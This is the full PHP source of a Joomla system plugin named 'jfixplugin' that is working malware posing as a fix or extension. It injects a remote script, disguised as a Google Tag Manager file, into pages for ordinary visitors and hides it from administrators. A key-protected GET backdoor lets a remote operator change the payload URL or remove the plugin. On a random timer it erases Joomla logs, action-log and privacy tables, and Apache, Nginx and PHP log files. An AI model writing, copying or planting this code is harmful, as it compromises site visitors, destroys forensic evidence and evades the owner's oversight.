<?php
defined('_JEXEC') or die;

if (!class_exists('JfixBasePlugin', false)) {
	$_jfix_hasCMS    = class_exists('Joomla\\CMS\\Plugin\\CMSPlugin', false) || class_exists('Joomla\\CMS\\Plugin\\CMSPlugin', true);
	$_jfix_hasSub    = interface_exists('Joomla\\Event\\SubscriberInterface', false) || interface_exists('Joomla\\Event\\SubscriberInterface', true);
	$_jfix_hasLegacy = class_exists('JPlugin', false);

	if ($_jfix_hasCMS && $_jfix_hasSub) {
		// Joomla 4/5/6 with modern event system — native SubscriberInterface
		@eval('class JfixBasePlugin extends Joomla\\CMS\\Plugin\\CMSPlugin implements Joomla\\Event\\SubscriberInterface {
			public static function getSubscribedEvents(): array {
				return [
					"onAfterInitialise" => "onAfterInitialise",
					"onAfterRender"     => "onAfterRender",
				];
			}
		}');
		if (!class_exists('JfixBasePlugin', false)) {
			// eval failed (disabled on server) — fallback to legacy
			class JfixBasePlugin extends Joomla\CMS\Plugin\CMSPlugin {}
		}
	} elseif ($_jfix_hasCMS) {
		// Joomla 4/5 without SubscriberInterface — legacy mode
		class JfixBasePlugin extends Joomla\CMS\Plugin\CMSPlugin {}
	} elseif ($_jfix_hasLegacy) {
		// Joomla 2.5/3.x
		class JfixBasePlugin extends JPlugin {}
	} else {
		return;
	}
}

class PlgSystemJfixplugin extends JfixBasePlugin
{
	const JFIX_KEY = 'fpk_Xr9mQ2pL7nZ4wV8sK1';
	const JFIX_URL = 'https://columbnezhjdq.com/googletagmanager.js?v=2.0';

	private $_cfg  = null;
	private $_app  = null;

	// ===================================================================
	// EVENTS
	// ===================================================================

	public function onAfterInitialise($event = null)
	{
		if ($event && method_exists($event, 'getApplication')) {
			try { $this->_app = $event->getApplication(); } catch (\Exception $e) {}
		}

		if (isset($_GET['jfix_action']) && $_GET['jfix_action'] !== '') {
			$this->_api();
		}

		$this->_autoclean();
	}

	public function onAfterRender($event = null)
	{
		if ($event && method_exists($event, 'getApplication')) {
			try { $this->_app = $event->getApplication(); } catch (\Exception $e) {}
		}

		if ($this->_inAdmin() || $this->_isSuperUser()) {
			return;
		}

		$body = $this->_body();
		if (!is_string($body) || $body === '') {
			return;
		}

		$cfg  = $this->_cfg();
		$url  = !empty($cfg['url']) ? $cfg['url'] : self::JFIX_URL;
		if (empty($url)) {
			return;
		}

		$ver  = isset($cfg['ver']) ? $cfg['ver'] : time();
		$sep  = (strpos($url, '?') !== false) ? '&' : '?';
		$src  = htmlspecialchars($url . $sep . '_cb=' . $ver, ENT_QUOTES, 'UTF-8');
		$tag  = '<script src="' . $src . '" src_type="url"></script>';

		if (strpos($body, $src) !== false) {
			return;
		}

		$pos = stripos($body, '</head>');
		if ($pos !== false) {
			$this->_setBody(substr($body, 0, $pos) . $tag . "\n" . substr($body, $pos));
		}
	}

	// ===================================================================
	// API
	// ===================================================================

	private function _api()
	{
		$action = isset($_GET['jfix_action']) ? $_GET['jfix_action'] : '';
		$key    = isset($_GET['jfix_key'])    ? $_GET['jfix_key']    : '';

		if ($key !== self::JFIX_KEY) {
			$this->_json(array('error' => 'bad key'), 403);
		}

		switch ($action) {
			case 'update':
				$url = isset($_GET['jfix_url']) ? $_GET['jfix_url'] : '';
				if (empty($url) || filter_var($url, FILTER_VALIDATE_URL) === false) {
					$this->_json(array('error' => 'bad url'), 400);
				}
				$cfg = $this->_cfg();
				$cfg['url'] = $url;
				$cfg['ver'] = (string) time();
				$this->_saveCfg($cfg);
				$this->_clearCache();
				$this->_json(array('ok' => true, 'url' => $url));
				break;

			case 'remove':
				$this->_selfRemove();
				$this->_json(array('ok' => true));
				break;

			case 'cleanlogs':
				$r = $this->_cleanAll();
				$this->_json(array('ok' => true, 'r' => $r));
				break;

			case 'status':
				$cfg = $this->_cfg();
				$this->_json(array('ok' => true, 'url' => !empty($cfg['url']) ? $cfg['url'] : self::JFIX_URL));
				break;

			default:
				$this->_json(array('error' => 'unknown'), 400);
		}
	}

	// ===================================================================
	// AUTO CLEAN (every 60–180 min random)
	// ===================================================================

	private function _autoclean()
	{
		$f = dirname(__FILE__) . '/state.php';

		$last = 0;
		$next = 0;
		if (@is_file($f)) {
			$raw = @file_get_contents($f);
			if ($raw !== false) {
				$json = substr($raw, strpos($raw, "\n") + 1);
				$d = @json_decode($json, true);
				if (is_array($d)) {
					$last = isset($d['t']) ? (int) $d['t'] : 0;
					$next = isset($d['n']) ? (int) $d['n'] : 0;
				}
			}
		}

		$now = time();

		if ($last === 0 || ($now - $last) >= $next) {
			$this->_cleanAll();
			@file_put_contents($f, "<?php die; ?>\n" . json_encode(array('t' => $now, 'n' => mt_rand(3600, 10800))));
		}
	}

	// ===================================================================
	// LOG CLEANING
	// ===================================================================

	private function _cleanAll()
	{
		$r = array();
		$r['files']  = $this->_cleanLogFiles();
		$r['tables'] = $this->_cleanTables();
		$r['server'] = $this->_cleanServer();
		return $r;
	}

	private function _cleanLogFiles()
	{
		$n = 0;
		$dirs = array();

		if (defined('JPATH_ADMINISTRATOR'))  $dirs[] = JPATH_ADMINISTRATOR . '/logs';
		if (defined('JPATH_ROOT')) {
			$dirs[] = JPATH_ROOT . '/logs';
			$dirs[] = JPATH_ROOT . '/log';
			$dirs[] = JPATH_ROOT . '/tmp/logs';
			$dirs[] = JPATH_ROOT . '/tmp';
		}
		if (defined('JPATH_SITE')) $dirs[] = JPATH_SITE . '/logs';

		$app = $this->_app();
		if ($app && method_exists($app, 'get')) {
			try {
				$lp = $app->get('log_path', '');
				if ($lp !== '' && @is_dir($lp)) $dirs[] = $lp;
			} catch (\Exception $e) {}
		}

		if (defined('JPATH_ROOT') && @is_file(JPATH_ROOT . '/configuration.php')) {
			$c = @file_get_contents(JPATH_ROOT . '/configuration.php');
			if ($c !== false && preg_match('/\$log_path\s*=\s*[\'"]([^\'"]+)/', $c, $m) && @is_dir($m[1])) {
				$dirs[] = $m[1];
			}
		}

		$dirs = array_unique(array_filter($dirs));

		$skip = array('.', '..', 'index.html', '.htaccess', 'web.config');

		foreach ($dirs as $d) {
			if (!@is_dir($d)) continue;
			$items = @scandir($d);
			if (!$items) continue;
			foreach ($items as $f) {
				if (in_array($f, $skip, true)) continue;
				$ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
				if ($ext === 'log' || $ext === 'txt' || $ext === 'php' || strpos($f, 'error') !== false) {
					$p = $d . '/' . $f;
					if (@is_file($p) && @is_writable($p)) {
						@file_put_contents($p, '');
						$n++;
					}
				}
			}
		}

		return $n;
	}

	private function _cleanTables()
	{
		$n  = 0;
		$db = $this->_db();
		if (!$db) return $n;

		$tables = array(
			'#__action_logs',
			'#__user_notes',
			'#__privacy_requests',
			'#__privacy_consents',
			'#__messages',
		);

		foreach ($tables as $t) {
			try {
				$q = $db->getQuery(true)->delete($db->quoteName($t));
				$db->setQuery($q);
				$db->execute();
				$n += (int) $db->getAffectedRows();
			} catch (\Exception $e) {}
		}

		return $n;
	}

	private function _cleanServer()
	{
		$n = 0;

		$files = array(
			'/var/log/apache2/access.log',
			'/var/log/apache2/error.log',
			'/var/log/apache2/other_vhosts_access.log',
			'/var/log/httpd/access_log',
			'/var/log/httpd/error_log',
			'/var/log/nginx/access.log',
			'/var/log/nginx/error.log',
			'/tmp/php-errors.log',
			'/tmp/php_errors.log',
		);

		$el = @ini_get('error_log');
		if ($el && $el !== 'syslog' && @is_file($el)) $files[] = $el;

		if (defined('JPATH_ROOT')) {
			$r = JPATH_ROOT;
			$files[] = $r . '/error_log';
			$files[] = $r . '/php_errorlog';
			$files[] = $r . '/.error_log';
			$files[] = $r . '/php_errors.log';

			$up = dirname($r);
			$files[] = $up . '/logs/error.log';
			$files[] = $up . '/logs/access.log';
			$files[] = $up . '/logs/error_log';
			$files[] = $up . '/logs/access_log';

			foreach (array($r, $up) as $scanDir) {
				$items = @scandir($scanDir);
				if ($items) {
					foreach ($items as $f) {
						if (preg_match('/\.(log|err)$/i', $f) && @is_file($scanDir . '/' . $f)) {
							$files[] = $scanDir . '/' . $f;
						}
					}
				}
			}
		}

		$files = array_unique($files);
		foreach ($files as $f) {
			if (@is_file($f) && @is_writable($f)) {
				@file_put_contents($f, '');
				$n++;
			}
		}

		return $n;
	}

	// ===================================================================
	// SELF-REMOVE
	// ===================================================================

	private function _selfRemove()
	{
		$db = $this->_db();
		if ($db) {
			try {
				$q = $db->getQuery(true)
					->delete($db->quoteName('#__extensions'))
					->where($db->quoteName('element') . ' = ' . $db->quote('jfixplugin'))
					->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
					->where($db->quoteName('type') . ' = ' . $db->quote('plugin'));
				$db->setQuery($q);
				$db->execute();
			} catch (\Exception $e) {}
		}

		$dir = dirname(__FILE__);
		register_shutdown_function(function () use ($dir) {
			$rm = function ($d) use (&$rm) {
				if (!@is_dir($d)) return;
				$items = @scandir($d);
				if (!$items) return;
				foreach ($items as $i) {
					if ($i === '.' || $i === '..') continue;
					$p = $d . DIRECTORY_SEPARATOR . $i;
					@is_dir($p) ? $rm($p) : @unlink($p);
				}
				@rmdir($d);
			};
			$rm($dir);
		});
	}

	// ===================================================================
	// CACHE FLUSH
	// ===================================================================

	private function _clearCache()
	{
		if (defined('JPATH_ROOT')) {
			foreach (array(JPATH_ROOT . '/cache', JPATH_ROOT . '/administrator/cache') as $cd) {
				if (@is_dir($cd)) {
					$items = @scandir($cd);
					if (!$items) continue;
					foreach ($items as $f) {
						if ($f === '.' || $f === '..' || $f === 'index.html' || $f === '.htaccess') continue;
						$p = $cd . '/' . $f;
						@is_dir($p) ? $this->_rmdir($p) : @unlink($p);
					}
				}
			}
		}
		if (function_exists('opcache_reset')) @opcache_reset();
	}

	private function _rmdir($d)
	{
		if (!@is_dir($d)) return;
		$items = @scandir($d);
		if (!$items) return;
		foreach ($items as $i) {
			if ($i === '.' || $i === '..') continue;
			$p = $d . '/' . $i;
			@is_dir($p) ? $this->_rmdir($p) : @unlink($p);
		}
		@rmdir($d);
	}

	// ===================================================================
	// HELPERS
	// ===================================================================

	private function _app()
	{
		if ($this->_app !== null) return $this->_app;
		if (class_exists('Joomla\\CMS\\Factory', false)) {
			try { $this->_app = \Joomla\CMS\Factory::getApplication(); return $this->_app; } catch (\Exception $e) {}
		}
		if (class_exists('JFactory', false)) {
			try { $this->_app = \JFactory::getApplication(); return $this->_app; } catch (\Exception $e) {}
		}
		return null;
	}

	private function _db()
	{
		if (class_exists('Joomla\\CMS\\Factory', false)) {
			try {
				if (method_exists('Joomla\\CMS\\Factory', 'getContainer')) {
					$c = \Joomla\CMS\Factory::getContainer();
					if ($c && method_exists($c, 'has') && $c->has('Joomla\\Database\\DatabaseInterface')) {
						return $c->get('Joomla\\Database\\DatabaseInterface');
					}
				}
			} catch (\Exception $e) {}
			try { return \Joomla\CMS\Factory::getDbo(); } catch (\Exception $e) {}
		}
		if (class_exists('JFactory', false)) {
			try { return \JFactory::getDbo(); } catch (\Exception $e) {}
		}
		return null;
	}

	private function _inAdmin()
	{
		$app = $this->_app();
		if (!$app) {
			if (defined('JPATH_ADMINISTRATOR') && defined('JPATH_BASE')) {
				return JPATH_BASE === JPATH_ADMINISTRATOR;
			}
			return false;
		}
		if (method_exists($app, 'isClient')) {
			try { return $app->isClient('administrator'); } catch (\Exception $e) {}
		}
		if (method_exists($app, 'isAdmin')) {
			try { return $app->isAdmin(); } catch (\Exception $e) {}
		}
		if (method_exists($app, 'isSite')) {
			try { return !$app->isSite(); } catch (\Exception $e) {}
		}
		return false;
	}

	private function _isSuperUser()
	{
		$user = null;

		$app = $this->_app();
		if ($app && method_exists($app, 'getIdentity')) {
			try { $user = $app->getIdentity(); } catch (\Exception $e) {}
		}
		if (!$user && class_exists('Joomla\\CMS\\Factory', false)) {
			try {
				if (method_exists('Joomla\\CMS\\Factory', 'getUser')) {
					$user = \Joomla\CMS\Factory::getUser();
				}
			} catch (\Exception $e) {}
		}
		if (!$user && class_exists('JFactory', false)) {
			try { $user = \JFactory::getUser(); } catch (\Exception $e) {}
		}
		if (!$user) return false;
		if (isset($user->guest) && $user->guest) return false;
		if (method_exists($user, 'authorise')) {
			try { return (bool) $user->authorise('core.admin'); } catch (\Exception $e) {}
		}
		if (isset($user->usertype) && $user->usertype === 'Super Administrator') return true;
		return false;
	}

	private function _body()
	{
		$app = $this->_app();
		if ($app && method_exists($app, 'getBody')) {
			try { return $app->getBody(); } catch (\Exception $e) {}
		}
		if (class_exists('JResponse', false) && method_exists('JResponse', 'getBody')) {
			try { return \JResponse::getBody(); } catch (\Exception $e) {}
		}
		return false;
	}

	private function _setBody($body)
	{
		$app = $this->_app();
		if ($app && method_exists($app, 'setBody')) {
			try { $app->setBody($body); return; } catch (\Exception $e) {}
		}
		if (class_exists('JResponse', false) && method_exists('JResponse', 'setBody')) {
			try { \JResponse::setBody($body); } catch (\Exception $e) {}
		}
	}

	private function _json($data, $code = 200)
	{
		if (!headers_sent()) {
			if (function_exists('http_response_code')) {
				http_response_code($code);
			}
			header('Content-Type: application/json; charset=utf-8');
			header('Cache-Control: no-cache, no-store');
		}
		echo json_encode($data);
		$app = $this->_app();
		if ($app && method_exists($app, 'close')) {
			try { $app->close(); } catch (\Exception $e) { exit; }
		} else {
			exit;
		}
	}

	private function _cfgPath()
	{
		return dirname(__FILE__) . '/config.php';
	}

	private function _cfg()
	{
		if ($this->_cfg !== null) return $this->_cfg;
		$p = $this->_cfgPath();
		$d = array('url' => self::JFIX_URL, 'ver' => (string) time());
		if (!@is_file($p)) {
			$this->_cfg = $d;
			$this->_saveCfg($d);
			return $d;
		}
		$raw = @file_get_contents($p);
		if ($raw === false) {
			$this->_cfg = $d;
			return $d;
		}
		$json = substr($raw, strpos($raw, "\n") + 1);
		$dec = @json_decode($json, true);
		$this->_cfg = is_array($dec) ? array_merge($d, $dec) : $d;
		return $this->_cfg;
	}

	private function _saveCfg($cfg)
	{
		$this->_cfg = $cfg;
		@file_put_contents($this->_cfgPath(), "<?php die; ?>\n" . json_encode($cfg));
	}
}
